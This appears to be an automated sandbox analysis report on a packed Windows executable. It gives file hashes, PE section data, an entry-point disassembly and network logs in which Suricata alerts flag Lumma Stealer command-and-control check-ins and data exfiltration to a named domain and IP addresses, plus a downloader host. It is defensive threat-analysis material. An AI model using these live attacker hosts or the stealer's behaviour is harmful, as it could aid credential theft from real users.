Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948094144172101
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'889'792 bytes
MD5:	e5569b9b9af1799aeeac81bc32dd8a1a
SHA1:	5f3f3b8f12fbcd9e139f8839985d1b5cb08f80f5
SHA256:	d757c63721259fe04be15faa7c2ccb243c9a50a82f40ab54638b434c1de1ade2
SHA512:	28938a2042142fe2661406ee36d3693f9bd40f465de8889132475da2fdb9242e7a198db045840ec770876a56a56d685e394108511729b62561b8e58d56c82694
SSDEEP:	24576:R6NXDKpzUtretjGqTiAMxhcQ4nMYpZ/ZHtyLZGtX/DKOu8LNU5KMTHgCLKdmQoe:MzAzfhi5cz17xMotX/ru4NU5KMfWds
TLSH:	DD953382FD786188E32A4FF3B22DB5554B6F7B1118A784930BF3960FBF11A50172529E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................J...........@...........................K.....-A....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8ad000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F3C51 [Thu Nov 21 13:57:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3AB87E118Ah
lfs ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3AB87E3185h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26200	25c0c48061bc69777618d4b29f90edfa	False	0.9993788422131148	data	7.9799640570115535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	30216804022bba412654db777d0066ad	False	0.80078125	data	6.111687299772271	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x2af000	0x200	ed99c3b4e021b3ff8e697b7ecdca166e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dkvrjkmr	0x308000	0x1a4000	0x1a3800	96cd335eb2f7857ca679c520836ece5d	False	0.9939770886099524	data	7.95422039261428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dyslrvsf	0x4ac000	0x1000	0x400	30d8898c0726d6c3fed9b953772bf957	False	0.6796875	data	5.389750664282733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ad000	0x3000	0x2200	732397697d143e9c1dbde2ac0ac77810	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4ab438	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T01:02:20.067028+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.7	64220	1.1.1.1	53	UDP
2024-11-22T01:02:21.637120+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:21.637120+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:22.406051+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:22.406051+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:23.762758+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:23.762758+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:24.508200+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:24.508200+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:26.450327+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49722	104.21.66.38	443	TCP
2024-11-22T01:02:26.450327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49722	104.21.66.38	443	TCP
2024-11-22T01:02:27.370891+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49722	104.21.66.38	443	TCP
2024-11-22T01:02:28.729787+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49728	104.21.66.38	443	TCP
2024-11-22T01:02:28.729787+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49728	104.21.66.38	443	TCP
2024-11-22T01:02:31.200984+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49734	104.21.66.38	443	TCP
2024-11-22T01:02:31.200984+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49734	104.21.66.38	443	TCP
2024-11-22T01:02:33.902558+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49740	104.21.66.38	443	TCP
2024-11-22T01:02:33.902558+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49740	104.21.66.38	443	TCP
2024-11-22T01:02:37.006446+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49748	104.21.66.38	443	TCP
2024-11-22T01:02:37.006446+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49748	104.21.66.38	443	TCP
2024-11-22T01:02:43.936597+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49767	104.21.66.38	443	TCP
2024-11-22T01:02:43.936597+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49767	104.21.66.38	443	TCP
2024-11-22T01:02:44.677207+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49767	104.21.66.38	443	TCP
2024-11-22T01:02:46.131480+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49773	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 01:02:13.331583023 CET	49677	443	192.168.2.7	20.50.201.200
Nov 22, 2024 01:02:14.003700972 CET	49674	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:14.003700972 CET	49675	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:14.175399065 CET	49672	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:16.315983057 CET	49677	443	192.168.2.7	20.50.201.200
Nov 22, 2024 01:02:17.142838955 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:17.142903090 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:17.143006086 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:17.143317938 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:17.143332958 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:18.942955971 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:18.943026066 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:18.946599007 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:18.946614981 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:18.946878910 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:18.955717087 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.003323078 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.430361986 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.430385113 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.430411100 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.430535078 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.430551052 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.430612087 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.828505993 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828516960 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828566074 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828572989 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.828597069 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828618050 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.828633070 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.828658104 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828674078 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828717947 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.828726053 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.828747034 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.828757048 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.987428904 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.987449884 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.987509966 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:19.987529039 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:19.987570047 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.031934977 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.031953096 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.032001019 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.032015085 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.032032967 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.032056093 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.083755016 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.083803892 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.083827019 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.083838940 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.083873034 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.083882093 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.135426998 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.135443926 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.135500908 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.135512114 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.135585070 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.178666115 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.178683043 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.178736925 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.178750992 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.178776979 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.178793907 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.206535101 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.206553936 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.206604004 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.206620932 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.206633091 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.206665039 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.224169016 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.224198103 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.224235058 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.224251032 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.224276066 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.224289894 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.240487099 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.240503073 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.240549088 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.240562916 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.240600109 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.240614891 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.257796049 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.257812023 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.257879019 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.257894993 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.257940054 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.277228117 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.277246952 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.277306080 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.277318954 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.277359962 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.285768032 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.285825014 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.285847902 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.285888910 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.285907984 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.285919905 CET	49704	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.285928011 CET	443	49704	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.303148031 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:20.303215027 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:20.303311110 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:20.306452036 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:20.306484938 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:20.321101904 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.321120024 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.321119070 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.321156979 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.321221113 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.321224928 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.321393967 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.321404934 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.321495056 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.321508884 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.322588921 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.322623014 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.322701931 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.322787046 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.322796106 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.323638916 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.323653936 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.323709965 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.324235916 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.324244976 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.324306965 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.324320078 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:20.324372053 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.324435949 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:20.324455023 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:21.190972090 CET	49671	443	192.168.2.7	204.79.197.203
Nov 22, 2024 01:02:21.637041092 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:21.637120008 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:21.639703989 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:21.639720917 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:21.639967918 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:21.680644035 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:21.680805922 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:21.680852890 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:22.110748053 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.110835075 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.114296913 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.129756927 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.129769087 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.130316973 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.130321980 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.130530119 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.130543947 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.159739017 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.162190914 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.162197113 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.162625074 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.162638903 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.170142889 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.170149088 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.183713913 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.185633898 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.185653925 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.193057060 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.193065882 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.194721937 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.197175980 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.197187901 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.204691887 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.204696894 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.269099951 CET	49677	443	192.168.2.7	20.50.201.200
Nov 22, 2024 01:02:22.406028032 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:22.406099081 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:22.406161070 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:22.408195972 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:22.408226013 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:22.408243895 CET	49705	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:22.408251047 CET	443	49705	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:22.499085903 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:22.499135017 CET	443	49711	104.21.66.38	192.168.2.7
